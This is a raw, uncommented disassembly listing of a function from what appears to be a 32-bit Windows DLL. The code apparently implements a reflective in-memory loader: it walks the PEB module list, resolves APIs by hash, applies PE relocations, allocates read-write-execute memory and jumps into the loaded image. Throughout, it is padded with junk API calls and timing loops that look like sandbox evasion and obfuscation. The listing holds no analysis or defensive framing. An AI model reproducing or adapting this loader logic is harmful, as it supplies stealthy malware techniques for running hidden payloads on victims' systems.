call dword [sym.imp.KERNEL32.dll_GetACP]
push 0x40200000
push 0
call fcn.1000d570
add esp, 8
fstp qword [esp + 0x230]
cvttsd2si eax, qword [esp + 0x230]
movsx ebx, al
imul ebx, ebx
lea esi, [ebx + ebx]
sar ebx, 0x1f
mov edx, dword [esp + 0x14]
movsd xmm0, qword [esp + 0x48]
movsd xmm1, qword [0x1004a950]
cmp edi, edx
mov ecx, dword [esp + 0xc]
jle 0x1000ec23
jmp 0x1000ec10
cmp dword [esp + 8], edx
jle 0x1000f351
mov edi, dword [esp + 0x54]
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
mov edx, dword [ecx + edi + 0x1c]
movzx eax, ax
sub eax, dword [ecx + edi + 0x10]
add edx, edi
mov eax, dword [edx + eax*4]
mov edx, dword [esp + 0x14]
add eax, edi
mov ecx, dword [esp + 0xc]
mov dword [ecx], eax
jmp 0x1000ec10
movsd xmm2, qword [0x1004a960]
mov edi, 0xbf21e99
nop word cs:[eax + eax]
nop dword [eax]
movsd qword [esp + 0x30], xmm2
movsd qword [esp + 0x48], xmm0
mulsd xmm2, xmm1
addsd xmm2, qword [0x1004a990]
movsd qword [esp + 0x18], xmm2
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push 0
push 0x2710
push edx
push eax
call fcn.10021070
movsd xmm2, qword [0x1004a978]
movd xmm0, edx
movd xmm1, eax
punpckldq xmm1, xmm0
movsd xmm0, qword [esp + 0x48]
movq qword [esp + 0x228], xmm1
movsd xmm1, qword [0x1004a950]
fild qword [esp + 0x228]
fstp qword [esp + 0x220]
movsd xmm3, qword [esp + 0x18]
mulsd xmm3, qword [esp + 0x220]
mulsd xmm3, xmm2
movsd xmm2, qword [esp + 0x30]
addsd xmm0, xmm3
addsd xmm2, qword [0x1004a960]
add edi, 0xffffffff
jne 0x1000ee40
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x14]
cmp ecx, edx
mov eax, ecx
cmovl eax, edx
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x60]
cmp dword [eax + 0xa4], 0
je 0x1000f207
mov ecx, dword [eax + 0xa0]
mov dword [esp + 0x30], ecx
mov eax, dword [esp + 0x10]
mov edi, dword [ecx + eax + 4]
test edi, edi
je 0x1000f207
mov eax, dword [esp + 0x10]
mov dword [esp + 0x58], eax
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x58]
sub eax, dword [ecx + 0x34]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x10]
add ecx, eax
add ecx, 4
mov dword [esp + 0x5c], ecx
add eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x58]
shr ecx, 0x10
mov dword [esp + 0x64], ecx
mov ecx, eax
mov dword [esp + 0x6c], eax
movsd qword [esp + 0x48], xmm0
jmp 0x1000ef91
mov eax, dword [esp + 0x5c]
mov edi, dword [eax]
mov eax, dword [esp + 0x6c]
lea ecx, [edi + eax]
mov dword [esp + 0x30], ecx
lea ecx, [edi + eax]
add ecx, 4
mov dword [esp + 0x5c], ecx
mov edi, dword [edi + eax + 4]
mov ecx, dword [esp + 0x30]
mov eax, ecx
mov dword [esp + 0x6c], ecx
test edi, edi
je 0x1000f207
mov ecx, dword [esp + 0x70]
cmp ecx, dword [esp + 0x1c4]
jl 0x1000f578
mov ecx, dword [eax]
add ecx, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
mov eax, edi
add edi, 0xfffffff8
shr edi, 1
je 0x1000f200
mov eax, dword [esp + 0x6c]
add eax, 8
mov dword [esp + 0x54], eax
mov eax, dword [esp + 8]
jmp 0x1000eff0
and eax, 0xfff
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x58]
add word [ecx + eax], dx
add dword [esp + 0x54], 2
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 8]
test edi, edi
je 0x1000ef60
add edi, 0xffffffff
cmp edx, eax
jge 0x1000f030
mov eax, dword [esp + 0x54]
movzx eax, word [eax]
mov ecx, eax
shr ecx, 0xc
add ecx, 0xffffffff
cmp cx, 9
ja case.0x1000f012.3
movzx edx, ax
movzx ecx, cx
jmp dword [ecx*4 + 0x1004a998]
and edx, 0xfff
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x58]
add dword [eax + edx], ecx
jmp case.0x1000f012.3
mov dword [esp + 0x68], edi
mov dword [esp + 0x30], 0
mov dword [esp + 0x18], 0x42
mov edi, 0x22
movss xmm2, dword [0x1004a980]
mov dword [esp + 0x28], 0
nop dword [eax]
movss dword [esp + 0x24], xmm2
call dword [sym.imp.USER32.dll_InSendMessage]
movss xmm2, dword [esp + 0x24]
movss xmm0, dword [esp + 0x18]
movss xmm1, dword [esp + 0x28]
unpcklps xmm0, xmm1
movlps qword [esp + 0x218], xmm0
fild qword [esp + 0x218]
fstp dword [esp + 0x1d4]
divss xmm2, dword [esp + 0x1d4]
mov esi, dword [esp + 0x30]
shld esi, edi, 1
movd xmm0, esi
add edi, edi
movd xmm1, edi
punpckldq xmm1, xmm0
movq qword [esp + 0x210], xmm1
fild qword [esp + 0x210]
fstp dword [esp + 0x1d0]
movaps xmm0, xmm2
divss xmm0, dword [esp + 0x1d0]
movss dword [esp + 0x100], xmm0
fld dword [esp + 0x100]
fnstcw word [esp + 0x76]
movzx eax, word [esp + 0x76]
or eax, 0xc00
mov word [esp + 0xac], ax
fldcw word [esp + 0xac]
fistp qword [esp + 0x100]
fldcw word [esp + 0x76]
mov ebx, dword [esp + 0x100]
mov eax, dword [esp + 0x104]
mov ecx, edi
mov dword [esp + 0x28], eax
imul ecx, eax
mov eax, edi
mul ebx
add edx, ecx
mov dword [esp + 0x30], esi
mov ecx, esi
mov dword [esp + 0x18], ebx
imul ecx, ebx
add ecx, edx
movd xmm0, ecx
movd xmm1, eax
punpckldq xmm1, xmm0
movq qword [esp + 0x208], xmm1
fild qword [esp + 0x208]
fstp dword [esp + 0x1cc]
movss xmm0, dword [esp + 0x1cc]
addss xmm0, xmm2
movss dword [esp + 0xf8], xmm0
fld dword [esp + 0xf8]
fnstcw word [esp + 0x74]
movzx eax, word [esp + 0x74]
or eax, 0xc00
mov word [esp + 0xaa], ax
fldcw word [esp + 0xaa]
fistp qword [esp + 0xf8]
fldcw word [esp + 0x74]
mov esi, dword [esp + 0xf8]
mov ebx, dword [esp + 0xfc]
cmp esi, 0x64
mov eax, ebx
sbb eax, 0
jl 0x1000f060
mov eax, dword [esp + 8]
mov edx, dword [esp + 0x14]
movsd xmm0, qword [esp + 0x48]
movsd xmm1, qword [0x1004a950]
mov edi, dword [esp + 0x68]
test edi, edi
jne 0x1000eff0
jmp 0x1000ef60
and eax, 0xfff
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x64]
jmp 0x1000efd7
mov edi, eax
jmp 0x1000ef66
movsd xmm2, qword [0x1004a960]
mov esi, 0xbf21e99
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount64]
nop word [eax + eax]
movsd qword [esp + 0x30], xmm2
movsd qword [esp + 0x48], xmm0
mulsd xmm2, xmm1
addsd xmm2, qword [0x1004a990]
movsd qword [esp + 0x18], xmm2
call ebx
push 0
push 0x2710
push edx
push eax
call fcn.10021070
movsd xmm2, qword [esp + 0x30]
movd xmm0, edx
movd xmm1, eax
punpckldq xmm1, xmm0
movsd xmm0, qword [esp + 0x48]
movq qword [esp + 0x200], xmm1
movsd xmm1, qword [0x1004a950]
fild qword [esp + 0x200]
fstp qword [esp + 0x1f8]
movsd xmm3, qword [esp + 0x18]
mulsd xmm3, qword [esp + 0x1f8]
mulsd xmm3, qword [0x1004a978]
addsd xmm0, xmm3
addsd xmm2, qword [0x1004a960]
add esi, 0xffffffff
jne 0x1000f220
mov eax, dword [esp + 8]
cmp dword [esp + 0x14], eax
mov ecx, dword [esp + 0x10]
mov edi, dword [esp + 0xc]
jge 0x1000f2d2
mov eax, dword [esp + 0x60]
mov edi, dword [eax + 0x28]
add edi, ecx
mov dword [0x1005d650], ecx
movsd qword [esp + 0x48], xmm0
lea eax, [ebp + 8]
cmp byte [eax + 4], 0
je 0x1000f4e4
push 0
push 1
push dword [eax + 0x24]
call edi
movsd xmm0, qword [0x1004a988]
movsd xmm2, qword [esp + 0x48]
movapd xmm1, xmm2
subsd xmm1, xmm0
cvttsd2si eax, xmm1
xor eax, 0x80000000
cvttsd2si ecx, xmm2
ucomisd xmm2, xmm0
cmovae ecx, eax
add edi, ecx
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0x34
mov edi, 0x7f
nop dword [eax + eax]
mov eax, ebx
xor ebx, ebx
cmp edi, esi
mov ecx, 0
sbb ecx, eax
mov esi, 0x42
jl 0x1000f330
call dword [sym.imp.USER32.dll_GetShellWindow]
mov esi, 0x3f
jmp 0x1000f330
mov edi, dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
jmp 0x1000f372
xor eax, 0x6b
xor ebx, ebx
mov esi, 0x6b
or eax, ecx
jne 0x1000f4cb
xor esi, 0x6e
or esi, ebx
jne 0x1000f4a0
call edi
push 0
push 0x6f
call fcn.1000d810
add esp, 8
fstp qword [esp + 0x238]
movsd xmm0, qword [esp + 0x238]
movsd qword [esp + 0x30], xmm0
push 0x405bc000
push 0
call fcn.1000d350
add esp, 8
fstp qword [esp + 0x1b8]
fld qword [esp + 0x1b8]
fnstcw word [esp + 0x80]
movzx eax, word [esp + 0x80]
or eax, 0xc00
mov word [esp + 0xb6], ax
fldcw word [esp + 0xb6]
fistp qword [esp + 0x1b8]
fldcw word [esp + 0x80]
movsd xmm0, qword [esp + 0x1b8]
movlps qword [esp + 0x248], xmm0
fild qword [esp + 0x248]
fstp qword [esp + 0x240]
movsd xmm0, qword [esp + 0x30]
addsd xmm0, qword [esp + 0x240]
movsd qword [esp + 0x118], xmm0
fld qword [esp + 0x118]
fnstcw word [esp + 0x7e]
movzx eax, word [esp + 0x7e]
or eax, 0xc00
mov word [esp + 0xb4], ax
fldcw word [esp + 0xb4]
fistp qword [esp + 0x118]
fldcw word [esp + 0x7e]
mov eax, dword [esp + 0x118]
mov ecx, dword [esp + 0x11c]
mov edx, eax
xor edx, 0x6a
or edx, ecx
jne 0x1000f360
call dword [sym.imp.USER32.dll_IsProcessDPIAware]
push 0
push 0x6c
call fcn.1000d810
add esp, 8
fstp dword [esp + 0x1dc]
cvttss2si eax, dword [esp + 0x1dc]
movsx eax, al
mov ecx, eax
sar ecx, 0x1f
jmp 0x1000f360
jmp 0x1000f4a0
mov dword [esp + 0x48], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x64], 0
mov esi, dword [esp + 8]
jmp 0x1000df0f
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
nop word cs:[eax + eax]
nop dword [eax + eax]
call esi
jmp 0x1000f4e0
mov eax, dword [ecx + 0x3c]
mov edx, dword [eax + ecx + 0x78]
test edx, edx
je 0x1000f2ee
mov dword [esp + 0xc], edi
mov eax, dword [edx + ecx + 0x1c]
add eax, ecx
mov dword [esp + 8], eax
mov esi, dword [edx + ecx + 0x24]
add esi, ecx
cmp dword [edx + ecx + 0x18], 0
mov edi, ecx
je 0x1000f61e
lea eax, [ebp + 8]
mov eax, dword [eax + 8]
mov dword [esp + 0x30], eax
mov eax, dword [edi + edx + 0x20]
add eax, edi
mov dword [esp + 0x28], eax
xor ebx, ebx
mov dword [esp + 0x24], edx
nop
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0x28]
mov esi, dword [eax + ebx*4]
add esi, edi
push dword [esp + 0x30]
call fcn.1000d180
add esp, 4
push eax
push dword [esp + 0x34]
push esi
call fcn.1000d2f0
add esp, 0xc
test eax, eax
je 0x1000f61a
add ebx, 1
mov esi, dword [esp + 0x18]
add esi, 2
mov edx, dword [esp + 0x24]
cmp ebx, dword [edi + edx + 0x18]
jb 0x1000f530
jmp 0x1000f61e
mov edi, 0x74
nop dword [eax]
cmp esi, 0x75
sbb ebx, 0
mov esi, 0
mov ebx, 0
jl 0x1000f580
movss xmm0, dword [0x1004a984]
nop word [eax + eax]
cvtss2sd xmm0, xmm0
sub esp, 8
movsd qword [esp], xmm0
call fcn.1000d350
add esp, 8
fstp dword [esp + 0x1c8]
movss xmm0, dword [esp + 0x1c8]
movss dword [esp + 0xf0], xmm0
fld dword [esp + 0xf0]
fnstcw word [esp + 0x78]
movzx eax, word [esp + 0x78]
or eax, 0xc00
mov word [esp + 0xae], ax
fldcw word [esp + 0xae]
fistp qword [esp + 0xf0]
fldcw word [esp + 0x78]
xor ebx, ebx
cmp edi, dword [esp + 0xf0]
mov eax, 0
sbb eax, dword [esp + 0xf4]
jl 0x1000f5a0
xor esi, esi
jmp 0x1000f580
mov esi, dword [esp + 0x18]
movzx eax, word [esi]
test eax, eax
mov ecx, dword [esp + 8]
lea eax, [ecx + eax*4]
cmove eax, ecx
mov esi, dword [eax]
add esi, edi
mov edi, dword [esp + 0xc]
je 0x1000f2ee
lea edi, [ebp + 8]
cmp byte [edi + 0x20], 0
je 0x1000fbf7
mov eax, dword [edi + 0x24]
test eax, eax
je 0x1000fbfc
mov ecx, dword fs:[0x30]
mov edx, dword [ecx + 0xc]
mov ecx, dword [edx + 0x14]
add edx, 0x14
cmp ecx, edx
je 0x1000fc38
cmp dword [ecx + 0x10], eax
je 0x1000fc31
mov ecx, dword [ecx]
cmp ecx, edx
jne 0x1000f66b
jmp 0x1000fc38
mov edi, dword [sym.imp.USER32.dll_GetKBCodePage]
nop word cs:[eax + eax]
nop
mov eax, esi
xor eax, 0x7a
or eax, ebx
jne 0x1000f725
movss xmm0, dword [0x1004a914]
nop word cs:[eax + eax]
nop
cvttss2si eax, xmm0
push eax
call fcn.1000d6d0
add esp, 4
fstp dword [esp + 0x1e8]
movss xmm0, dword [esp + 0x1e8]
movss dword [esp + 0x180], xmm0
fld dword [esp + 0x180]
fnstcw word [esp + 0x98]
movzx eax, word [esp + 0x98]
or eax, 0xc00
mov word [esp + 0xce], ax
fldcw word [esp + 0xce]
fistp qword [esp + 0x180]
fldcw word [esp + 0x98]
mov esi, dword [esp + 0x180]
mov ebx, dword [esp + 0x184]
mov eax, esi
xor eax, 0x7a
or eax, ebx
je 0x1000f6b0
mov eax, 0x7b
cmp eax, esi
mov eax, 0
sbb eax, ebx
jge 0x1000f977
xor esi, 0x7d
or esi, ebx
je 0x1000f774
mov eax, 0x52
nop word cs:[eax + eax]
nop
mov ecx, eax
sar ecx, 0x1f
push ecx
push eax
call fcn.1000d810
add esp, 8
fstp dword [esp + 0x1e4]
cvttss2si eax, dword [esp + 0x1e4]
cmp eax, 0x7d
jne 0x1000f750
mov esi, 0xd
nop dword [eax]
call edi
push esi
call fcn.1000d6d0
add esp, 4
fstp qword [esp + 0x2d8]
movsd xmm0, qword [esp + 0x2d8]
movsd qword [esp + 0x30], xmm0
sub esp, 8
movsd qword [esp], xmm0
call fcn.1000d570
add esp, 8
fstp qword [esp + 0x178]
fld qword [esp + 0x178]
fnstcw word [esp + 0x94]
movzx eax, word [esp + 0x94]
or eax, 0xc00
mov word [esp + 0xca], ax
fldcw word [esp + 0xca]
fistp qword [esp + 0x178]
fldcw word [esp + 0x94]
mov esi, dword [esp + 0x178]
movsd xmm0, qword [esp + 0x178]
movlps qword [esp + 0x2e8], xmm0
fild qword [esp + 0x2e8]
fstp qword [esp + 0x2e0]
movsd xmm0, qword [esp + 0x30]
subsd xmm0, qword [esp + 0x2e0]
movsd qword [esp + 0x170], xmm0
fld qword [esp + 0x170]
fnstcw word [esp + 0x92]
movzx eax, word [esp + 0x92]
or eax, 0xc00
mov word [esp + 0xc8], ax
fldcw word [esp + 0xc8]
fistp qword [esp + 0x170]
fldcw word [esp + 0x92]
mov eax, dword [esp + 0x170]
xor eax, 0x7a
or eax, dword [esp + 0x174]
je 0x1000f780
xor ebx, ebx
mov esi, 0xc4
jmp 0x1000f690
xor edi, edi
mov eax, 0x42
jmp 0x1000f8a0
shld edi, eax, 1
add eax, eax
mov esi, eax
mov ebx, edi
nop dword [eax]
cmp esi, 0xe
mov ecx, ebx
sbb ecx, 0
jl 0x1000f892
xor edi, edi
mov eax, 0x42
cmp esi, 0x41
mov ecx, ebx
sbb ecx, 0
jl 0x1000f8a0
xor edi, edi
mov esi, 0x6d
xor ebx, ebx
nop word cs:[eax + eax]
nop
movd xmm0, esi
movd xmm1, ebx
punpckldq xmm0, xmm1
movq qword [esp + 0x2c0], xmm0
fild qword [esp + 0x2c0]
fstp qword [esp + 0x2b8]
movsd xmm0, qword [esp + 0x2b8]
sub esp, 8
movsd qword [esp], xmm0
call fcn.1000d350
add esp, 8
fstp qword [esp + 0x160]
fld qword [esp + 0x160]
fnstcw word [esp + 0x9a]
movzx eax, word [esp + 0x9a]
or eax, 0xc00
mov word [esp + 0xd0], ax
fldcw word [esp + 0xd0]
fistp qword [esp + 0x160]
fldcw word [esp + 0x9a]
mov esi, dword [esp + 0x160]
mov ebx, dword [esp + 0x164]
mov eax, 0x40
cmp eax, esi
mov eax, 0
sbb eax, ebx
jl 0x1000f8d0
mov eax, 0x42
jmp 0x1000f8a0
xor edi, edi
mov ebx, 9
mov esi, dword [sym.imp.KERNEL32.dll_UnregisterApplicationRestart]
nop word cs:[eax + eax]
nop
call esi
movd xmm0, ebx
movd xmm1, edi
punpckldq xmm0, xmm1
movq qword [esp + 0x2d0], xmm0
fild qword [esp + 0x2d0]
fstp qword [esp + 0x2c8]
movsd xmm0, qword [esp + 0x2c8]
sub esp, 8
movsd qword [esp], xmm0
call fcn.1000d570
add esp, 8
fstp qword [esp + 0x168]
fld qword [esp + 0x168]
fnstcw word [esp + 0x96]
movzx eax, word [esp + 0x96]
or eax, 0xc00
mov word [esp + 0xcc], ax
fldcw word [esp + 0xcc]
fistp qword [esp + 0x168]
fldcw word [esp + 0x96]
mov ebx, dword [esp + 0x168]
mov edi, dword [esp + 0x16c]
jmp 0x1000f990
mov dword [esp + 0x48], 0
jmp 0x1000df11
mov edx, dword [esp + 8]
cmp edx, ecx
jle 0x1000df11
lea eax, [edx + edx]
mov dword [esp + 0x28], eax
cmp eax, ecx
mov dword [esp + 8], edx
jge 0x1000fc00
mov eax, esi
mov ecx, ebx
jmp 0x1000fa71
mov edi, edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edx, edi
xor ecx, ecx
mov eax, 1
mov edi, dword [esp + 0x28]
cmp edi, dword [esp + 0x14]
jge 0x1000fc00
xor eax, 0x70
or eax, ecx
jne 0x1000fa52
mov edx, 0xf
movss xmm2, dword [0x1004a918]
nop word cs:[eax + eax]
nop
xorps xmm0, xmm0
cvtsi2ss xmm0, edx
addss xmm2, xmm0
movss dword [esp + 0x30], xmm2
movss dword [esp + 0x158], xmm2
fld dword [esp + 0x158]
fnstcw word [esp + 0x90]
movzx eax, word [esp + 0x90]
or eax, 0xc00
mov word [esp + 0xc6], ax
fldcw word [esp + 0xc6]
fistp qword [esp + 0x158]
fldcw word [esp + 0x90]
push dword [esp + 0x15c]
push dword [esp + 0x15c]
call fcn.1000d810
movss xmm2, dword [esp + 0x38]
add esp, 8
fstp dword [esp + 0x1e0]
movss xmm0, dword [esp + 0x1e0]
cvttps2dq xmm1, xmm0
cvtdq2ps xmm1, xmm1
addss xmm1, xmm2
movss dword [esp + 0x150], xmm1
fld dword [esp + 0x150]
fnstcw word [esp + 0x8e]
movzx eax, word [esp + 0x8e]
or eax, 0xc00
mov word [esp + 0xc4], ax
fldcw word [esp + 0xc4]
fistp qword [esp + 0x150]
fldcw word [esp + 0x8e]
cvttss2si edx, xmm0
mov eax, dword [esp + 0x150]
mov ecx, dword [esp + 0x154]
mov edi, 0x1e
cmp edi, eax
mov edi, 0
sbb edi, ecx
jl 0x1000fa90
cmp eax, 9
mov edx, ecx
sbb edx, 0
mov edx, dword [esp + 8]
jl 0x1000fa63
push 0x405ec000
push 0
mov edi, edx
call fcn.1000d570
mov edx, edi
add esp, 8
fstp dword [esp + 0x148]
fld dword [esp + 0x148]
fnstcw word [esp + 0x8c]
movzx eax, word [esp + 0x8c]
or eax, 0xc00
mov word [esp + 0xc2], ax
fldcw word [esp + 0xc2]
fistp qword [esp + 0x148]
fldcw word [esp + 0x8c]
mov eax, dword [esp + 0x148]
mov ecx, dword [esp + 0x14c]
jmp 0x1000fa63
mov eax, dword [edi + 0x24]
jmp 0x1000fc3b
xor eax, eax
jmp 0x1000fc38
push 0x91afca54
push 0x6a4abc5b
call fcn.1000fc60
add esp, 8
mov ecx, dword [esp + 0x60]
mov ecx, dword [ecx + 0x50]
add ecx, 0xc
push 0x40
push 0x3000
push ecx
push 0
call eax
mov dword [esp + 0x10], eax
jmp 0x1000df11
mov edx, dword [esp + 0x10]
mov dword [ecx + 0x10], edx
lea edi, [ebp + 8]
push 0
push 1
push eax
call dword [esp + 0x18]
movupd xmm0, xmmword [edi + 0x10]
sub esp, 0x10
movupd xmmword [esp], xmm0
call esi
jmp 0x1000f31c